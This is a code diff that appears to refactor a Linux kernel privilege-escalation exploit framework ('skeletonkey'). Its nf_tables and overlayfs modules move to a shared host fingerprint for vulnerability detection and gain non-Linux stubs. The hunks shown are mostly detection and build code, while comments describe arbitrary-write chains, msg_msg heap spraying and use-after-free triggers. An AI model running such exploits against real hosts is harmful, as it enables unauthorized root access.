_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool nf_tables_loaded(void)
|
static bool nf_tables_loaded(void)
|
||||||
{
|
{
|
||||||
FILE *f = fopen("/proc/modules", "r");
|
FILE *f = fopen("/proc/modules", "r");
|
||||||
@@ -127,45 +119,43 @@ static bool nf_tables_loaded(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
if (!ctx->json) fprintf(stderr, "[!] nft_fwd_dup: host fingerprint missing kernel version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* The offload code path only exists from 5.4 onward. Anything
|
/* The offload code path only exists from 5.4 onward. Anything
|
||||||
* older predates the bug. */
|
* older predates the bug. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
||||||
"(nft offload hook introduced in 5.4)\n", v.release);
|
"(nft offload hook introduced in 5.4)\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||||
bool nft_loaded = nf_tables_loaded();
|
bool nft_loaded = nf_tables_loaded();
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[i] nft_fwd_dup: kernel %s is in the vulnerable range\n",
|
||||||
v.release);
|
v->release);
|
||||||
fprintf(stderr, "[i] nft_fwd_dup: unprivileged user_ns+net_ns clone: %s\n",
|
fprintf(stderr, "[i] nft_fwd_dup: unprivileged user_ns+net_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" :
|
|
||||||
"could not test");
|
|
||||||
fprintf(stderr, "[i] nft_fwd_dup: nf_tables module currently loaded: %s\n",
|
fprintf(stderr, "[i] nft_fwd_dup: nf_tables module currently loaded: %s\n",
|
||||||
nft_loaded ? "yes" : "no (will autoload)");
|
nft_loaded ? "yes" : "no (will autoload)");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_fwd_dup: kernel vulnerable but user_ns clone "
|
fprintf(stderr, "[+] nft_fwd_dup: kernel vulnerable but user_ns clone "
|
||||||
"denied → unprivileged path unreachable\n");
|
"denied → unprivileged path unreachable\n");
|
||||||
@@ -585,7 +575,6 @@ static int bring_lo_up(void)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||||
{
|
{
|
||||||
size_t off = 0;
|
size_t off = 0;
|
||||||
@@ -596,7 +585,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
|||||||
put_batch_end(batch, &off, (*seq)++);
|
put_batch_end(batch, &off, (*seq)++);
|
||||||
return off;
|
return off;
|
||||||
}
|
}
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* --full-chain arb-write context. The technique:
|
* --full-chain arb-write context. The technique:
|
||||||
@@ -617,8 +605,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
|||||||
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
#define SPRAY_QUEUES_ARB 32
|
#define SPRAY_QUEUES_ARB 32
|
||||||
|
|
||||||
struct fwd_arb_ctx {
|
struct fwd_arb_ctx {
|
||||||
@@ -721,8 +707,6 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Exploit driver.
|
* Exploit driver.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
@@ -735,7 +719,8 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
|||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
/* Gate 1: already root? */
|
/* Gate 1: already root? */
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
@@ -748,11 +733,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
|||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
|
||||||
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
|
||||||
(void)ctx;
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
#else
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
fprintf(stderr, "[*] nft_fwd_dup: --full-chain — trigger + OOB-write "
|
fprintf(stderr, "[*] nft_fwd_dup: --full-chain — trigger + OOB-write "
|
||||||
@@ -946,7 +926,6 @@ static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ct
|
|||||||
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] nft_fwd_dup: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
#endif /* __linux__ */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -958,7 +937,6 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
fprintf(stderr, "[*] nft_fwd_dup: cleaning up sysv queues + log\n");
|
||||||
}
|
}
|
||||||
#ifdef __linux__
|
|
||||||
/* Best-effort drain of any leftover msg queues with IPC_PRIVATE
|
/* Best-effort drain of any leftover msg queues with IPC_PRIVATE
|
||||||
* key owned by us. SysV doesn't enumerate by key, but msgctl
|
* key owned by us. SysV doesn't enumerate by key, but msgctl
|
||||||
* IPC_STAT walks /proc/sysvipc/msg to find them. */
|
* IPC_STAT walks /proc/sysvipc/msg to find them. */
|
||||||
@@ -979,13 +957,38 @@ static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ct
|
|||||||
}
|
}
|
||||||
fclose(f);
|
fclose(f);
|
||||||
}
|
}
|
||||||
#endif
|
|
||||||
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-nft_fwd_dup.log") < 0 && errno != ENOENT) {
|
||||||
/* harmless */
|
/* harmless */
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
|
||||||
|
* groom — all Linux-only kernel surface. Stub out so the module still
|
||||||
|
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||||
|
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] nft_fwd_dup: Linux-only module "
|
||||||
|
"(nf_tables HW-offload OOB) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] nft_fwd_dup: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t nft_fwd_dup_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Embedded detection rules.
|
* Embedded detection rules.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|||||||
@@ -49,16 +49,21 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
@@ -71,13 +76,10 @@
|
|||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <sys/syscall.h>
|
#include <sys/syscall.h>
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
#include <linux/netlink.h>
|
#include <linux/netlink.h>
|
||||||
#include <linux/netfilter.h>
|
#include <linux/netfilter.h>
|
||||||
#include <linux/netfilter/nfnetlink.h>
|
#include <linux/netfilter/nfnetlink.h>
|
||||||
#include <linux/netfilter/nf_tables.h>
|
#include <linux/netfilter/nf_tables.h>
|
||||||
#endif
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Kernel-range table
|
* Kernel-range table
|
||||||
@@ -103,19 +105,6 @@ static const struct kernel_range nft_payload_range = {
|
|||||||
* Preconditions probe
|
* Preconditions probe
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool nf_tables_loaded(void)
|
static bool nf_tables_loaded(void)
|
||||||
{
|
{
|
||||||
FILE *f = fopen("/proc/modules", "r");
|
FILE *f = fopen("/proc/modules", "r");
|
||||||
@@ -131,46 +120,44 @@ static bool nf_tables_loaded(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
fprintf(stderr, "[!] nft_payload: could not parse kernel version\n");
|
if (!ctx->json) fprintf(stderr, "[!] nft_payload: host fingerprint missing kernel version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced with the set-payload extension in 5.4. Anything
|
/* Bug introduced with the set-payload extension in 5.4. Anything
|
||||||
* below 5.4 predates the affected codepath entirely. */
|
* below 5.4 predates the affected codepath entirely. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nft_payload: kernel %s predates the bug "
|
fprintf(stderr, "[i] nft_payload: kernel %s predates the bug "
|
||||||
"(set-payload extension landed in 5.4)\n",
|
"(set-payload extension landed in 5.4)\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nft_payload_range, &v);
|
bool patched = kernel_range_is_patched(&nft_payload_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nft_payload: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||||
bool nft_loaded = nf_tables_loaded();
|
bool nft_loaded = nf_tables_loaded();
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nft_payload: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[i] nft_payload: kernel %s is in the vulnerable range\n",
|
||||||
v.release);
|
v->release);
|
||||||
fprintf(stderr, "[i] nft_payload: unprivileged user_ns clone: %s\n",
|
fprintf(stderr, "[i] nft_payload: unprivileged user_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" :
|
|
||||||
"could not test");
|
|
||||||
fprintf(stderr, "[i] nft_payload: nf_tables module currently loaded: %s\n",
|
fprintf(stderr, "[i] nft_payload: nf_tables module currently loaded: %s\n",
|
||||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_payload: kernel vulnerable but user_ns "
|
fprintf(stderr, "[+] nft_payload: kernel vulnerable but user_ns "
|
||||||
"clone denied → unprivileged exploit unreachable\n");
|
"clone denied → unprivileged exploit unreachable\n");
|
||||||
@@ -187,8 +174,6 @@ static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx
|
|||||||
return SKELETONKEY_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef __linux__
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* userns + netns entry: become root in the new user_ns so subsequent
|
* userns + netns entry: become root in the new user_ns so subsequent
|
||||||
* netlink writes carry CAP_NET_ADMIN over our private net_ns.
|
* netlink writes carry CAP_NET_ADMIN over our private net_ns.
|
||||||
@@ -801,8 +786,6 @@ static int nft_payload_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif /* __linux__ */
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Exploit body.
|
* Exploit body.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
@@ -814,7 +797,8 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
|||||||
"exploit code can crash the kernel\n");
|
"exploit code can crash the kernel\n");
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
fprintf(stderr, "[i] nft_payload: already running as root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
@@ -838,11 +822,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
|
||||||
(void)ctx;
|
|
||||||
fprintf(stderr, "[-] nft_payload: linux-only exploit; non-linux build\n");
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
#else
|
|
||||||
/* --- --full-chain path: resolve offsets in parent before doing
|
/* --- --full-chain path: resolve offsets in parent before doing
|
||||||
* anything destructive. */
|
* anything destructive. */
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
@@ -1074,7 +1053,6 @@ static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ct
|
|||||||
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] nft_payload: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
#endif /* __linux__ */
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
@@ -1092,6 +1070,32 @@ static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ct
|
|||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: nf_tables / NETLINK_NETFILTER / SysV msg_msg
|
||||||
|
* groom — all Linux-only kernel surface. Stub out so the module still
|
||||||
|
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||||
|
static skeletonkey_result_t nft_payload_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] nft_payload: Linux-only module "
|
||||||
|
"(nf_tables regset OOB) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t nft_payload_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] nft_payload: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t nft_payload_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ------------------------------------------------------------------
|
/* ------------------------------------------------------------------
|
||||||
* Detection rule corpus.
|
* Detection rule corpus.
|
||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|||||||
@@ -50,6 +50,7 @@
|
|||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -115,19 +116,6 @@ static const struct kernel_range nft_set_uaf_range = {
|
|||||||
* ------------------------------------------------------------------ */
|
* ------------------------------------------------------------------ */
|
||||||
|
|
||||||
#ifdef __linux__
|
#ifdef __linux__
|
||||||
static int can_unshare_userns(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool nf_tables_loaded(void)
|
static bool nf_tables_loaded(void)
|
||||||
{
|
{
|
||||||
FILE *f = fopen("/proc/modules", "r");
|
FILE *f = fopen("/proc/modules", "r");
|
||||||
@@ -148,45 +136,43 @@ static skeletonkey_result_t nft_set_uaf_detect(const struct skeletonkey_ctx *ctx
|
|||||||
(void)ctx;
|
(void)ctx;
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
fprintf(stderr, "[!] nft_set_uaf: could not parse kernel version\n");
|
if (!ctx->json) fprintf(stderr, "[!] nft_set_uaf: host fingerprint missing kernel version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
/* Bug introduced in 5.1 (anonymous-set support). Anything below
|
||||||
* predates it — report OK (not vulnerable to *this* CVE). */
|
* predates it — report OK (not vulnerable to *this* CVE). */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
fprintf(stderr, "[i] nft_set_uaf: kernel %s predates the bug "
|
||||||
"(anonymous-set support landed in 5.1)\n", v.release);
|
"(anonymous-set support landed in 5.1)\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&nft_set_uaf_range, &v);
|
bool patched = kernel_range_is_patched(&nft_set_uaf_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] nft_set_uaf: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||||
bool nft_loaded = nf_tables_loaded();
|
bool nft_loaded = nf_tables_loaded();
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] nft_set_uaf: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[i] nft_set_uaf: kernel %s is in the vulnerable range\n",
|
||||||
v.release);
|
v->release);
|
||||||
fprintf(stderr, "[i] nft_set_uaf: unprivileged user_ns clone: %s\n",
|
fprintf(stderr, "[i] nft_set_uaf: unprivileged user_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" :
|
|
||||||
"could not test");
|
|
||||||
fprintf(stderr, "[i] nft_set_uaf: nf_tables module currently loaded: %s\n",
|
fprintf(stderr, "[i] nft_set_uaf: nf_tables module currently loaded: %s\n",
|
||||||
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
nft_loaded ? "yes" : "no (will autoload on first nft use)");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] nft_set_uaf: kernel vulnerable but user_ns clone "
|
fprintf(stderr, "[+] nft_set_uaf: kernel vulnerable but user_ns clone "
|
||||||
"denied → unprivileged exploit unreachable\n");
|
"denied → unprivileged exploit unreachable\n");
|
||||||
@@ -762,7 +748,8 @@ static skeletonkey_result_t nft_set_uaf_exploit(const struct skeletonkey_ctx *ct
|
|||||||
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
fprintf(stderr, "[-] nft_set_uaf: refusing without --i-know gate\n");
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
fprintf(stderr, "[i] nft_set_uaf: already running as root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
|
|||||||
@@ -37,13 +37,17 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <sys/mount.h>
|
#include <sys/mount.h>
|
||||||
@@ -129,10 +133,18 @@ static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
|||||||
|
|
||||||
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
||||||
* because upstream didn't enable the userns-mount path until
|
* because upstream didn't enable the userns-mount path until
|
||||||
* 5.11. Bail early for non-Ubuntu. */
|
* 5.11. Bail early for non-Ubuntu. Consult the shared host
|
||||||
if (!is_ubuntu()) {
|
* fingerprint (distro_id == "ubuntu" — populated once at startup;
|
||||||
|
